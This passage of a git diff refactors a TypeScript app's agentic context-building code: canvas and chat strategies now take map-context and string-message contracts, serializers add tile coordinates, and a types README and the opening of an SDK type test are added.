centerCoordId) return // Skip center (already added) - - const itemCoords = item.metadata.coordinates - - // Check if item belongs to the same coordinate tree - if ( - itemCoords.userId !== centerCoords.userId || - itemCoords.groupId !== centerCoords.groupId - ) { - return - } - - // Calculate relative depth from center - const itemDepth = itemCoords.path.length - const relativeDepth = itemDepth - centerDepth - - // Include items within maxDepth generations from center - if (relativeDepth > 0 && relativeDepth <= maxDepth) { - // Check if item is descendant of center - const isDescendant = centerCoords.path.every( - (coord, index) => itemCoords.path[index] === coord - ) - - if (isDescendant) { - regionItems.push(item) - } - } - }) - - return regionItems - } - + private serialize( - context: { + context: { center: TileContextItem + composed: TileContextItem[] children: TileContextItem[] - grandchildren: TileContextItem[] + grandchildren: TileContextItem[] }, format: { type: string; includeMetadata?: boolean } ): string { if (format.type === 'structured') { - const depth2 = context.grandchildren.filter(g => g.depth === 2) - const depth3 = context.grandchildren.filter(g => g.depth === 3) + let result = `# Center: ${context.center.title}\n${context.center.content}\n` + + if (context.composed.length > 0) { + result += `\n## Composed Tiles (${context.composed.length})\n` + context.composed.forEach(c => { + result += `### ${c.title}\n${c.content}\n` + }) + } + + if (context.children.length > 0) { + result += `\n## Children (${context.children.length})\n` + context.children.forEach(c => { + result += `### ${c.title} (Position: ${c.position})\n${c.content}\n` + }) + } - return `Center: ${context.center.title} -Children (${context.children.length}): ${context.children.map(c => c.title).join(', ')} -Grandchildren (${depth2.length}): ${depth2.map(g => g.title).join(', ')} -Great-grandchildren (${depth3.length}): ${depth3.map(g => g.title).join(', ')}` + if (context.grandchildren.length > 0) { + result += `\n## Grandchildren (${context.grandchildren.length})\n` + context.grandchildren.forEach(g => { + result += `- ${g.title}${g.content ? `: ${g.content}` : ''}\n` + }) + } + + return result } - + return JSON.stringify(context) } -} \ No newline at end of file +} diff --git a/src/lib/domains/agentic/services/canvas-strategies/minimal.strategy.ts b/src/lib/domains/agentic/services/canvas-strategies/minimal.strategy.ts index 8645c401c..fb9fc3967 100644 --- a/src/lib/domains/agentic/services/canvas-strategies/minimal.strategy.ts +++ b/src/lib/domains/agentic/services/canvas-strategies/minimal.strategy.ts @@ -1,29 +1,25 @@ import type { ICanvasStrategy } from '~/lib/domains/agentic/services/canvas-strategies/strategy.interface' import type { CanvasContext, CanvasContextOptions, TileContextItem } from '~/lib/domains/agentic/types' -import type { CacheState } from '~/app/map' -import type { TileData } from '~/app/map' -import { CoordSystem } from '~/lib/domains/mapping/utils' +import type { MapContext } from '~/lib/domains/mapping/utils' export class MinimalCanvasStrategy implements ICanvasStrategy { - constructor(private readonly getCacheState: () => CacheState) {} - async build( - centerCoordId: string, + mapContext: MapContext, _options: CanvasContextOptions ): Promise { - const state = this.getCacheState() - // Get only the center tile - const centerTile = state.itemsById[centerCoordId] - if (!centerTile) { - throw new Error(`Center tile not found: ${centerCoordId}`) + const center: TileContextItem = { + coordId: mapContext.center.coords, + title: mapContext.center.title, + content: mapContext.center.content, + depth: 0, + hasChildren: Boolean(mapContext.children && mapContext.children.length > 0) } - - const center = this.toContextItem(centerTile, 0) - + return { type: 'canvas', center, + composed: [], // Minimal strategy doesn't include composed children: [], grandchildren: [], strategy: 'minimal', @@ -34,21 +30,6 @@ export class MinimalCanvasStrategy implements ICanvasStrategy { } } - private toContextItem(tile: TileData, depth: number): TileContextItem { - const position = depth > 0 - ? CoordSystem.getDirection(tile.metadata.coordinates) - : undefined - - return { - coordId: tile.metadata.coordId, - title: tile.data.title || '', - content: tile.data.content || '', - position, - depth, - hasChildren: false - } - } - private serialize( center: TileContextItem, format: { type: string; includeMetadata?: boolean } diff --git a/src/lib/domains/agentic/services/canvas-strategies/standard.strategy.ts b/src/lib/domains/agentic/services/canvas-strategies/standard.strategy.ts index fa70684a2..8bf9789ea 100644 --- a/src/lib/domains/agentic/services/canvas-strategies/standard.strategy.ts +++ b/src/lib/domains/agentic/services/canvas-strategies/standard.strategy.ts @@ -1,173 +1,103 @@ import type { ICanvasStrategy } from '~/lib/domains/agentic/services/canvas-strategies/strategy.interface' import type { CanvasContext, CanvasContextOptions, TileContextItem } from '~/lib/domains/agentic/types' -import type { CacheState } from '~/app/map' -import type { TileData } from '~/app/map' +import type { MapContext } from '~/lib/domains/mapping/utils' import { CoordSystem } from '~/lib/domains/mapping/utils' export class StandardCanvasStrategy implements ICanvasStrategy { - constructor(private readonly getCacheState: () => CacheState) {} - async build( - centerCoordId: string, - options: CanvasContextOptions + mapContext: MapContext, + _options: CanvasContextOptions ): Promise { - const state = this.getCacheState() - - // Get all tiles within 2 generations using the same logic as selectRegionItems - const regionTiles = this.getRegionItems(state, centerCoordId, 2) - - // Find center tile - const centerTile = regionTiles.find(t => t.metadata.coordId === centerCoordId) - if (!centerTile) { - throw new Error(`Center tile not found: ${centerCoordId}`) + // Convert center with full content + const center: TileContextItem = { + coordId: mapContext.center.coords, + title: mapContext.center.title, + content: mapContext.center.content, + depth: 0, + hasChildren: mapContext.children.length > 0 || mapContext.composed.length > 0 } - - // Group tiles by depth - const { children, grandchildren } = this.groupTilesByDepth(regionTiles, centerTile) - - // Convert to context items - const center = this.toContextItem(centerTile, 0, children.length > 0) - const childrenItems = this.filterAndConvert(children, options, 1, grandchildren) - const grandchildrenItems = this.filterAndConvert(grandchildren, options, 2) - + + // Convert composed tiles (direction 0) with full content + const composed: TileContextItem[] = mapContext.composed.map(comp => ({ + coordId: comp.coords, + title: comp.title, + content: comp.content, + position: CoordSystem.getDirection(CoordSystem.parseId(comp.coords)), + depth: 0.5, // Between center and children + hasChildren: false + })) + + // Convert children with preview (or content if available) + const children: TileContextItem[] = mapContext.children.map(child => ({ + coordId: child.coords, + title: child.title, + content: child.preview ?? child.content, + position: CoordSystem.getDirection(CoordSystem.parseId(child.coords)), + depth: 1, + hasChildren: mapContext.grandchildren.some(gc => { + // Check if this child has any grandchildren + const childCoords = CoordSystem.parseId(child.coords) + const gcCoords = CoordSystem.parseId(gc.coords) + return gcCoords.path.length === childCoords.path.length + 2 && + gcCoords.path.slice(0, -2).every((v, i) => v === childCoords.path[i]) + }) + })) + + // Convert grandchildren with just title + const grandchildren: TileContextItem[] = mapContext.grandchildren.map(gc => ({ + coordId: gc.coords, + title: gc.title, + content: '', // Grandchildren don't get content + position: CoordSystem.getDirection(CoordSystem.parseId(gc.coords)), + depth: 2, + hasChildren: false + })) + return { type: 'canvas', center, - children: childrenItems, - grandchildren: grandchildrenItems, + composed, + children, + grandchildren, strategy: 'standard', metadata: { computedAt: new Date() }, serialize: (format) => this.serialize( - { center, children: childrenItems, grandchildren: grandchildrenItems }, + { center, composed, children, grandchildren }, format ) } } - private groupTilesByDepth( - regionTiles: TileData[], - centerTile: TileData - ): { children: TileData[], grandchildren: TileData[] } { - const centerDepth = centerTile.metadata.coordinates.path.length - const children: TileData[] = [] - const grandchildren: TileData[] = [] - - regionTiles.forEach(tile => { - if (tile.metadata.coordId === centerTile.metadata.coordId) return - - const tileDepth = tile.metadata.coordinates.path.length - const relativeDepth = tileDepth - centerDepth - - if (relativeDepth === 1) { - children.push(tile) - } else if (relativeDepth === 2) { - grandchildren.push(tile) - } - }) - - return { children, grandchildren } - } - - private filterAndConvert( - tiles: TileData[], - options: CanvasContextOptions, - depth: number, - childTiles?: TileData[] - ): TileContextItem[] { - let filtered = tiles - - if (!options.includeEmptyTiles) { - filtered = tiles.filter(t => t.data.title?.trim()) - } - - return filtered.map(t => { - // Check if this tile has children (for depth 1 tiles, check grandchildren) - const hasChildren = childTiles - ? childTiles.some(child => child.metadata.parentId === t.metadata.coordId) - : false - return this.toContextItem(t, depth, hasChildren) - }) - } - - private getRegionItems(state: CacheState, centerCoordId: string, maxDepth: number): TileData[] { - const regionItems: TileData[] = [] - const centerItem = state.itemsById[centerCoordId] - - if (!centerItem) return regionItems - - // Add center item - regionItems.push(centerItem) - - // Get center coordinates for hierarchy calculation - const centerCoords = centerItem.metadata.coordinates - const centerDepth = centerCoords.path.length - - // Add items within the specified depth from center - Object.values(state.itemsById).forEach((item) => { - if (item.metadata.coordId === centerCoordId) return // Skip center (already added) - - const itemCoords = item.metadata.coordinates - - // Check if item belongs to the same coordinate tree - if ( - itemCoords.userId !== centerCoords.userId || - itemCoords.groupId !== centerCoords.groupId - ) { - return - } - - // Calculate relative depth from center - const itemDepth = itemCoords.path.length - const relativeDepth = itemDepth - centerDepth - - // Include items within maxDepth generations from center - if (relativeDepth > 0 && relativeDepth <= maxDepth) { - // Check if item is descendant of center - const isDescendant = centerCoords.path.every( - (coord, index) => itemCoords.path[index] === coord - ) - - if (isDescendant) { - regionItems.push(item) - } - } - }) - - return regionItems - } - - private toContextItem(tile: TileData, depth: number, hasChildren = false): TileContextItem { - const position = depth > 0 - ? CoordSystem.getDirection(tile.metadata.coordinates) - : undefined - - return { - coordId: tile.metadata.coordId, - title: tile.data.title || '', - content: tile.data.content || '', - position, - depth, - hasChildren - } - } - private serialize( - context: { + context: { center: TileContextItem + composed: TileContextItem[] children: TileContextItem[] - grandchildren: TileContextItem[] + grandchildren: TileContextItem[] }, format: { type: string; includeMetadata?: boolean } ): string { - // Basic serialization - will be replaced by proper serializer + // Structured serialization with hierarchy if (format.type === 'structured') { - return `Center: ${context.center.title} -Children (${context.children.length}): ${context.children.map(c => c.title).join(', ')} -Grandchildren (${context.grandchildren.length}): ${context.grandchildren.map(g => g.title).join(', ')}` + let result = `Center: ${context.center.title}` + + if (context.composed.length > 0) { + result += `\nComposed (${context.composed.length}): ${context.composed.map(c => c.title).join(', ')}` + } + + if (context.children.length > 0) { + result += `\nChildren (${context.children.length}): ${context.children.map(c => c.title).join(', ')}` + } + + if (context.grandchildren.length > 0) { + result += `\nGrandchildren (${context.grandchildren.length}): ${context.grandchildren.map(g => g.title).join(', ')}` + } + + return result } - + return JSON.stringify(context) } } \ No newline at end of file diff --git a/src/lib/domains/agentic/services/canvas-strategies/strategy.interface.ts b/src/lib/domains/agentic/services/canvas-strategies/strategy.interface.ts index a75a3d2b2..982e4b243 100644 --- a/src/lib/domains/agentic/services/canvas-strategies/strategy.interface.ts +++ b/src/lib/domains/agentic/services/canvas-strategies/strategy.interface.ts @@ -1,8 +1,9 @@ import type { CanvasContext, CanvasContextOptions } from '~/lib/domains/agentic/types' +import type { MapContext } from '~/lib/domains/mapping/utils' export interface ICanvasStrategy { build( - centerCoordId: string, + mapContext: MapContext, options: CanvasContextOptions ): Promise } \ No newline at end of file diff --git a/src/lib/domains/agentic/services/chat-context-builder.service.ts b/src/lib/domains/agentic/services/chat-context-builder.service.ts index f213c243c..c436d0f62 100644 --- a/src/lib/domains/agentic/services/chat-context-builder.service.ts +++ b/src/lib/domains/agentic/services/chat-context-builder.service.ts @@ -4,7 +4,7 @@ import type { ChatContextStrategy } from '~/lib/domains/agentic/types' import type { IChatStrategy } from '~/lib/domains/agentic/services/chat-strategies/strategy.interface' -import type { ChatMessage } from '~/app/map' +import type { ChatMessageContract } from '~/lib/domains/agentic/types' export class ChatContextBuilder { constructor( @@ -12,7 +12,7 @@ export class ChatContextBuilder { ) {} async build( - messages: ChatMessage[], + messages: ChatMessageContract[], strategy: ChatContextStrategy, options?: ChatContextOptions ): Promise { diff --git a/src/lib/domains/agentic/services/chat-strategies/__tests__/full.strategy.test.ts b/src/lib/domains/agentic/services/chat-strategies/__tests__/full.strategy.test.ts index ba6e1b22f..d3b7d098c 100644 --- a/src/lib/domains/agentic/services/chat-strategies/__tests__/full.strategy.test.ts +++ b/src/lib/domains/agentic/services/chat-strategies/__tests__/full.strategy.test.ts @@ -1,17 +1,17 @@ import { describe, it, expect, beforeEach } from 'vitest' import { FullChatStrategy } from '~/lib/domains/agentic/services/chat-strategies/full.strategy' -import type { ChatMessage } from '~/app/map' +import type { ChatMessageContract } from '~/lib/domains/agentic/types' describe('FullChatStrategy', () => { let strategy: FullChatStrategy - const mockMessages: ChatMessage[] = [ + const mockMessages: ChatMessageContract[] = [ { id: '1', type: 'user', content: 'Hello, can you help me?', metadata: { - timestamp: new Date('2024-01-01T10:00:00Z'), + timestamp: '2024-01-01T10:00:00.000Z', tileId: 'tile-123' } }, @@ -20,18 +20,18 @@ describe('FullChatStrategy', () => { type: 'assistant', content: 'Of course! What do you need help with?', metadata: { - timestamp: new Date('2024-01-01T10:01:00Z') + timestamp: '2024-01-01T10:01:00.000Z' } }, { id: '3', type: 'user', - content: { + content: JSON.stringify({ type: 'tile', data: { title: 'My Tile', content: 'Tile content', tileId: 'tile-456' } - }, + }), metadata: { - timestamp: new Date('2024-01-01T10:02:00Z'), + timestamp: '2024-01-01T10:02:00.000Z', tileId: 'tile-456' } }, @@ -40,7 +40,7 @@ describe('FullChatStrategy', () => { type: 'system', content: 'System notification', metadata: { - timestamp: new Date('2024-01-01T10:03:00Z') + timestamp: '2024-01-01T10:03:00.000Z' } } ] @@ -57,65 +57,67 @@ describe('FullChatStrategy', () => { expect(result.messages).toHaveLength(4) }) - it('should extract text from widget messages', async () => { + it('should handle serialized widget messages', async () => { const result = await strategy.build(mockMessages, {}) - + const widgetMessage = result.messages[2] - expect(widgetMessage?.content).toBe('[Tile Widget: My Tile]') + // ChatMessageContract always has string content (widgets pre-serialized) + expect(widgetMessage?.content).toContain('My Tile') }) it('should preserve message metadata', async () => { const result = await strategy.build(mockMessages, {}) - + const firstMessage = result.messages[0] expect(firstMessage?.metadata?.tileId).toBe('tile-123') - expect(firstMessage?.timestamp).toEqual(new Date('2024-01-01T10:00:00Z')) + expect(firstMessage?.timestamp).toEqual(new Date('2024-01-01T10:00:00.000Z')) expect(firstMessage?.role).toBe('user') }) it('should handle messages without metadata', async () => { - const messageWithoutMetadata: ChatMessage = { + const messageWithoutMetadata: ChatMessageContract = { id: '5', type: 'user', content: 'Test message' } - + const result = await strategy.build([messageWithoutMetadata], {}) - + expect(result.messages[0]?.timestamp).toBeInstanceOf(Date) expect(result.messages[0]?.metadata?.tileId).toBeUndefined() }) - it('should extract content from different widget types', async () => { - const widgetMessages: ChatMessage[] = [ + it('should handle serialized widget content', async () => { + const widgetMessages: ChatMessageContract[] = [ { id: '1', type: 'user', - content: { type: 'creation', data: {} } + content: JSON.stringify({ type: 'creation', data: {} }) }, { id: '2', type: 'user', - content: { type: 'error', data: { message: 'Something went wrong' } } + content: JSON.stringify({ type: 'error', data: { message: 'Something went wrong' } }) }, { id: '3', type: 'user', - content: { type: 'loading', data: { message: 'Creating tile...' } } + content: JSON.stringify({ type: 'loading', data: { message: 'Creating tile...' } }) }, { id: '4', type: 'user', - content: { type: 'search' as const, data: {} } as { type: 'search'; data: unknown } + content: JSON.stringify({ type: 'search', data: {} }) } ] - + const result = await strategy.build(widgetMessages, {}) - - expect(result.messages[0]?.content).toBe('[Creation Widget]') - expect(result.messages[1]?.content).toBe('[Error: Something went wrong]') - expect(result.messages[2]?.content).toBe('[Loading: Creating tile...]') - expect(result.messages[3]?.content).toBe('[search widget]') + + // Content is already serialized as JSON strings + expect(result.messages[0]?.content).toContain('creation') + expect(result.messages[1]?.content).toContain('Something went wrong') + expect(result.messages[2]?.content).toContain('Creating tile...') + expect(result.messages[3]?.content).toContain('search') }) it('should serialize to structured format', async () => { diff --git a/src/lib/domains/agentic/services/chat-strategies/full.strategy.ts b/src/lib/domains/agentic/services/chat-strategies/full.strategy.ts index 3234b59b1..6790b6d2b 100644 --- a/src/lib/domains/agentic/services/chat-strategies/full.strategy.ts +++ b/src/lib/domains/agentic/services/chat-strategies/full.strategy.ts @@ -1,16 +1,15 @@ import type { IChatStrategy } from '~/lib/domains/agentic/services/chat-strategies/strategy.interface' -import type { ChatContext, ChatContextOptions, ChatContextMessage } from '~/lib/domains/agentic/types' -import type { ChatMessage, ChatWidget } from '~/app/map' +import type { ChatContext, ChatContextOptions, ChatContextMessage, ChatMessageContract } from '~/lib/domains/agentic/types' export class FullChatStrategy implements IChatStrategy { async build( - messages: ChatMessage[], + messages: ChatMessageContract[], _options: ChatContextOptions ): Promise { const contextMessages = messages.map(msg => ({ role: msg.type, - content: this.extractTextContent(msg.content), - timestamp: msg.metadata?.timestamp ?? new Date(), + content: msg.content, // Already a string - no extraction needed + timestamp: msg.metadata?.timestamp ? new Date(msg.metadata.timestamp) : new Date(), metadata: { tileId: msg.metadata?.tileId, model: msg.type === 'assistant' ? 'assistant' : undefined @@ -27,28 +26,6 @@ export class FullChatStrategy implements IChatStrategy { serialize: (format) => this.serialize(contextMessages, format) } } - - private extractTextContent(content: string | ChatWidget): string { - if (typeof content === 'string') return content - - // Handle widget content extraction - switch (content.type) { - case 'tile': - const tileData = content.data as { title?: string; content?: string } - return `[Tile Widget: ${tileData.title ?? 'Untitled'}]` - case 'creation': - return '[Creation Widget]' - case 'error': - const errorData = content.data as { message?: string } - return `[Error: ${errorData.message ?? 'Unknown error'}]` - case 'loading': - const loadingData = content.data as { message?: string } - return `[Loading: ${loadingData.message ?? 'Loading...'}]` - default: - return `[${content.type} widget]` - } - } - private serialize( messages: ChatContextMessage[], format: { type: string; includeMetadata?: boolean } diff --git a/src/lib/domains/agentic/services/chat-strategies/recent.strategy.ts b/src/lib/domains/agentic/services/chat-strategies/recent.strategy.ts index a5214298e..94bc1474e 100644 --- a/src/lib/domains/agentic/services/chat-strategies/recent.strategy.ts +++ b/src/lib/domains/agentic/services/chat-strategies/recent.strategy.ts @@ -1,19 +1,18 @@ import type { IChatStrategy } from '~/lib/domains/agentic/services/chat-strategies/strategy.interface' -import type { ChatContext, ChatContextOptions, ChatContextMessage } from '~/lib/domains/agentic/types' -import type { ChatMessage, ChatWidget } from '~/app/map' +import type { ChatContext, ChatContextOptions, ChatContextMessage, ChatMessageContract } from '~/lib/domains/agentic/types' export class RecentChatStrategy implements IChatStrategy { async build( - messages: ChatMessage[], + messages: ChatMessageContract[], options: ChatContextOptions ): Promise { const maxMessages = options.maxMessages ?? 10 const recentMessages = messages.slice(-maxMessages) - + const contextMessages = recentMessages.map(msg => ({ role: msg.type, - content: this.extractTextContent(msg.content), - timestamp: msg.metadata?.timestamp ?? new Date(), + content: msg.content, // Already a string - no extraction needed + timestamp: msg.metadata?.timestamp ? new Date(msg.metadata.timestamp) : new Date(), metadata: { tileId: msg.metadata?.tileId, model: msg.type === 'assistant' ? 'assistant' : undefined @@ -30,28 +29,6 @@ export class RecentChatStrategy implements IChatStrategy { serialize: (format) => this.serialize(contextMessages, format) } } - - private extractTextContent(content: string | ChatWidget): string { - if (typeof content === 'string') return content - - // Handle widget content extraction - switch (content.type) { - case 'tile': - const tileData = content.data as { title?: string; content?: string } - return `[Tile Widget: ${tileData.title ?? 'Untitled'}]` - case 'creation': - return '[Creation Widget]' - case 'error': - const errorData = content.data as { message?: string } - return `[Error: ${errorData.message ?? 'Unknown error'}]` - case 'loading': - const loadingData = content.data as { message?: string } - return `[Loading: ${loadingData.message ?? 'Loading...'}]` - default: - return `[${content.type} widget]` - } - } - private serialize( messages: ChatContextMessage[], format: { type: string; includeMetadata?: boolean } diff --git a/src/lib/domains/agentic/services/chat-strategies/relevant.strategy.ts b/src/lib/domains/agentic/services/chat-strategies/relevant.strategy.ts index 87f22a201..d5e952ebb 100644 --- a/src/lib/domains/agentic/services/chat-strategies/relevant.strategy.ts +++ b/src/lib/domains/agentic/services/chat-strategies/relevant.strategy.ts @@ -1,25 +1,24 @@ import type { IChatStrategy } from '~/lib/domains/agentic/services/chat-strategies/strategy.interface' -import type { ChatContext, ChatContextOptions, ChatContextMessage } from '~/lib/domains/agentic/types' -import type { ChatMessage, ChatWidget } from '~/app/map' +import type { ChatContext, ChatContextOptions, ChatContextMessage, ChatMessageContract } from '~/lib/domains/agentic/types' export class RelevantChatStrategy implements IChatStrategy { async build( - messages: ChatMessage[], + messages: ChatMessageContract[], options: ChatContextOptions ): Promise { const relevantTileIds = options.relevantTileIds ?? [] - + // Filter messages that mention relevant tiles const relevantMessages = relevantTileIds.length > 0 - ? messages.filter(msg => + ? messages.filter(msg => msg.metadata?.tileId && relevantTileIds.includes(msg.metadata.tileId) ) : messages.filter(msg => msg.metadata?.tileId) // Any message with a tileId - + const contextMessages = relevantMessages.map(msg => ({ role: msg.type, - content: this.extractTextContent(msg.content), - timestamp: msg.metadata?.timestamp ?? new Date(), + content: msg.content, // Already a string - no extraction needed + timestamp: msg.metadata?.timestamp ? new Date(msg.metadata.timestamp) : new Date(), metadata: { tileId: msg.metadata?.tileId, model: msg.type === 'assistant' ? 'assistant' : undefined @@ -36,28 +35,6 @@ export class RelevantChatStrategy implements IChatStrategy { serialize: (format) => this.serialize(contextMessages, format) } } - - private extractTextContent(content: string | ChatWidget): string { - if (typeof content === 'string') return content - - // Handle widget content extraction - switch (content.type) { - case 'tile': - const tileData = content.data as { title?: string; content?: string } - return `[Tile Widget: ${tileData.title ?? 'Untitled'}]` - case 'creation': - return '[Creation Widget]' - case 'error': - const errorData = content.data as { message?: string } - return `[Error: ${errorData.message ?? 'Unknown error'}]` - case 'loading': - const loadingData = content.data as { message?: string } - return `[Loading: ${loadingData.message ?? 'Loading...'}]` - default: - return `[${content.type} widget]` - } - } - private serialize( messages: ChatContextMessage[], format: { type: string; includeMetadata?: boolean } diff --git a/src/lib/domains/agentic/services/chat-strategies/strategy.interface.ts b/src/lib/domains/agentic/services/chat-strategies/strategy.interface.ts index f790c4fdd..1cfe488e6 100644 --- a/src/lib/domains/agentic/services/chat-strategies/strategy.interface.ts +++ b/src/lib/domains/agentic/services/chat-strategies/strategy.interface.ts @@ -1,5 +1,5 @@ import type { ChatContext, ChatContextOptions } from '~/lib/domains/agentic/types' -import type { ChatMessage } from '~/app/map' +import type { ChatMessageContract as ChatMessage } from '~/lib/domains/agentic/types' export interface IChatStrategy { build( diff --git a/src/lib/domains/agentic/services/context-composition.service.ts b/src/lib/domains/agentic/services/context-composition.service.ts index acdaa9522..6df7b7d56 100644 --- a/src/lib/domains/agentic/services/context-composition.service.ts +++ b/src/lib/domains/agentic/services/context-composition.service.ts @@ -1,15 +1,16 @@ -import type { - CompositionConfig, - ComposedContext, +import type { + CompositionConfig, + ComposedContext, Context, CanvasContext, ChatContext, SerializationFormat } from '~/lib/domains/agentic/types' +import type { MapContext } from '~/lib/domains/mapping/utils' import type { CanvasContextBuilder } from '~/lib/domains/agentic/services/canvas-context-builder.service' import type { ChatContextBuilder } from '~/lib/domains/agentic/services/chat-context-builder.service' import type { TokenizerService } from '~/lib/domains/agentic/services/tokenizer.service' -import type { ChatMessage } from '~/app/map' +import type { ChatMessageContract } from '~/lib/domains/agentic/types' export class ContextCompositionService { constructor( @@ -19,16 +20,16 @@ export class ContextCompositionService { ) {} async composeContext( - centerCoordId: string, - messages: ChatMessage[], + mapContext: MapContext, + messages: ChatMessageContract[], config: CompositionConfig ): Promise { const contexts: Context[] = [] - + // Build canvas context if enabled if (config.canvas?.enabled) { const canvasContext = await this.canvasBuilder.build( - centerCoordId, + mapContext, config.canvas.strategy, config.canvas.options ) diff --git a/src/lib/domains/agentic/services/dependencies.json b/src/lib/domains/agentic/services/dependencies.json index 00a1147db..5284060d0 100644 --- a/src/lib/domains/agentic/services/dependencies.json +++ b/src/lib/domains/agentic/services/dependencies.json @@ -2,10 +2,11 @@ "$schema": "../../../../../scripts/checks/architecture/dependencies.schema.json", "allowed": [ "tiktoken", - "~/app/map", "~/lib/domains/agentic/infrastructure", "~/lib/domains/agentic/repositories", "~/lib/domains/agentic/types", + "~/lib/domains/mapping", + "~/lib/utils/event-bus", "~/server/db" ], "exceptions": {} diff --git a/src/lib/domains/agentic/services/index.ts b/src/lib/domains/agentic/services/index.ts index 09287b5ab..ed7490732 100644 --- a/src/lib/domains/agentic/services/index.ts +++ b/src/lib/domains/agentic/services/index.ts @@ -1,7 +1,7 @@ export { AgenticService } from '~/lib/domains/agentic/services/agentic.service' -export type { GenerateResponseOptions } from '~/lib/domains/agentic/services/agentic.service' +export type { GenerateResponseOptions, SubagentConfig } from '~/lib/domains/agentic/services/agentic.service' export { createAgenticService } from '~/lib/domains/agentic/services/agentic.factory' -export type { CreateAgenticServiceOptions } from '~/lib/domains/agentic/services/agentic.factory' +export type { CreateAgenticServiceOptions, LLMConfig } from '~/lib/domains/agentic/services/agentic.factory' export { CanvasContextBuilder } from '~/lib/domains/agentic/services/canvas-context-builder.service' export { ChatContextBuilder } from '~/lib/domains/agentic/services/chat-context-builder.service' diff --git a/src/lib/domains/agentic/services/serializers/structured-serializer.ts b/src/lib/domains/agentic/services/serializers/structured-serializer.ts index 922b12ede..824408284 100644 --- a/src/lib/domains/agentic/services/serializers/structured-serializer.ts +++ b/src/lib/domains/agentic/services/serializers/structured-serializer.ts @@ -29,13 +29,19 @@ export class StructuredContextSerializer { const lines: string[] = [ '# Canvas Context', '', - `Current item: ${context.center.title}` + `Current item: ${context.center.title} (${context.center.coordId})`, + '' ] if (context.center.content) { lines.push(`Content: ${context.center.content}`) + lines.push('') } + // Add coordinate format explanation + lines.push('**Coordinate Format**: Each tile has coordinates like "1,0:2" meaning {userId: 1, groupId: 0, path: [2]}.') + lines.push('To create/modify tiles, parse this string format into the coordinate object structure.') + if (context.children.length === 0) { lines.push('No child items') } else { @@ -43,7 +49,7 @@ export class StructuredContextSerializer { lines.push('## Children:') for (const child of context.children) { const posLabel = this.getPositionLabel(child.position) - lines.push(`- ${posLabel}: ${child.title}`) + lines.push(`- ${posLabel} (${child.coordId}): ${child.title}`) } } diff --git a/src/lib/domains/agentic/types/README.md b/src/lib/domains/agentic/types/README.md new file mode 100644 index 000000000..defa4d9d4 --- /dev/null +++ b/src/lib/domains/agentic/types/README.md @@ -0,0 +1,37 @@ +# Agentic Types + +## Mental Model +The types directory is like a "type library" or "contract catalog" - a centralized collection of TypeScript type definitions that establish the data contracts and interfaces used throughout the agentic domain. + +## Responsibilities +- Define core LLM interaction types (messages, responses, parameters, errors) +- Specify SDK-specific types for Claude Agent SDK integration +- Establish context composition and serialization type contracts +- Define job queue and async processing type structures +- Export all domain types through a single index for easy consumption + +## Non-Responsibilities +- Type implementations or runtime behavior → See parent `../` for services and repositories +- LLM provider logic → See `../repositories/README.md` +- Context building logic → See `../services/README.md` +- Prompt templates → See `../prompts/` + +## Subsystems +- **llm.types.ts**: Core LLM interaction types - messages, generation parameters, responses, models, tools, errors +- **sdk.types.ts**: Claude Agent SDK-specific types - query options, stream events, result types +- **context.types.ts**: Context composition and serialization contracts - canvas/chat contexts, strategies, serialization formats +- **contracts.ts**: External domain contracts - chat message types shared with other domains +- **job.types.ts**: Job queue and async processing types - generation job states, queue configurations +- **errors.ts**: Error definitions and error handling types +- **index.ts**: Central export point - re-exports all types for domain-wide consumption + +## Interface +**Exports**: See `index.ts` for the complete public API. Key type exports: +- `LLMMessage`, `LLMGenerationParams`, `LLMResponse`: Core LLM interaction types +- `SDKQueryOptions`, `SDKStreamEvent`, `SDKResult`: Claude Agent SDK types +- `ComposedContext`, `ContextStrategy`: Context composition types +- `StreamChunk`, `ModelInfo`, `LLMError`: Supporting types + +**Dependencies**: This subsystem has minimal dependencies and primarily defines types. + +**Note**: All agentic domain code should import types from `~/lib/domains/agentic/types` (via the parent's index.ts export). The `pnpm check:architecture` tool enforces proper import boundaries. diff --git a/src/lib/domains/agentic/types/__tests__/sdk.types.test.ts b/src/lib/domains/agentic/types/__tests__/sdk.types.test.ts new file mode 100644 index 000000000..2d0186769 --- /dev/null +++ b/src/lib/domains/agentic/types/__tests__/sdk.types.test.ts @@ -0,0 +1,399 @@ +import { describe, it, expect } from 'vitest' +import type { + SDKQueryOptions, + SDKQueryParams, + SDKStreamEvent, + SDKContentBlockDelta, + SDKResult, + SDKMessage, + MCPServerConfig, + SDKToolDefinition +} from '~/lib/domains/agentic/types/sdk.types' + +describe('SDK Types', () => { + describe('SDKQueryOptions', () => { + it('should accept minimal options with model', () => { + const options: SDKQueryOptions = { + model: 'claude-sonnet-4-5-20250929' + } + + expect(options.model).toBe('claude-sonnet-4-5-20250929') + }) + + it('should accept full options with all fields', () => { + const options: SDKQueryOptions = { + model: 'claude-sonnet-4-5-20250929', + systemPrompt: 'You are a helpful assistant', + maxTurns: 5, + includePartialMessages: true, + temperature: 0.7, + maxTokens: 2000 + } + + expect(options.model).toBe('claude-sonnet-4-5-20250929') + expect(options.systemPrompt).toBe('You are a helpful assistant') + expect(options.maxTurns).toBe(5) + expect(options.includePartialMessages).toBe(true) + expect(options.temperature).toBe(0.7) + expect(options.maxTokens).toBe(2000) + }) + + it('should accept mcpServers configuration', () => { + const mcpServers: Record = { + github: { + command: 'npx', + args: ['-y', '@anthropic/mcp-server-github'], + env: { + GITHUB_TOKEN: 'test-token' + } + } + } + + const options: SDKQueryOptions = { + model: 'claude-sonnet-4-5-20250929', + mcpServers + } + + expect(options.mcpServers).toEqual(mcpServers) + }) + }) + + describe('SDKQueryParams', () => { + it('should accept prompt and options', () => { + const params: SDKQueryParams = { + prompt: 'What is the weather today?', + options: { + model: 'claude-sonnet-4-5-20250929' + } + } + + expect(params.prompt).toBe('What is the weather today?') + expect(params.options.model).toBe('claude-sonnet-4-5-20250929') + }) + + it('should accept complex prompt with options', () => { + const params: SDKQueryParams = { + prompt: 'User: Hello\n\nAssistant: Hi there!\n\nUser: How are you?', + options: { + model: 'claude-opus-4-20250514', + systemPrompt: 'You are friendly', + maxTurns: 3, + temperature: 0.8 + } + } + + expect(params.prompt).toContain('User: Hello') + expect(params.options.model).toBe('claude-opus-4-20250514') + expect(params.options.systemPrompt).toBe('You are friendly') + }) + }) + + describe('SDKStreamEvent', () => { + it('should type content_block_delta event', () => { + const event: SDKStreamEvent = { + type: 'stream_event', + event: { + type: 'content_block_delta', + delta: { + text: 'Hello' + } + } + } + + expect(event.type).toBe('stream_event') + expect(event.event.type).toBe('content_block_delta') + if (event.event.type === 'content_block_delta') { + const 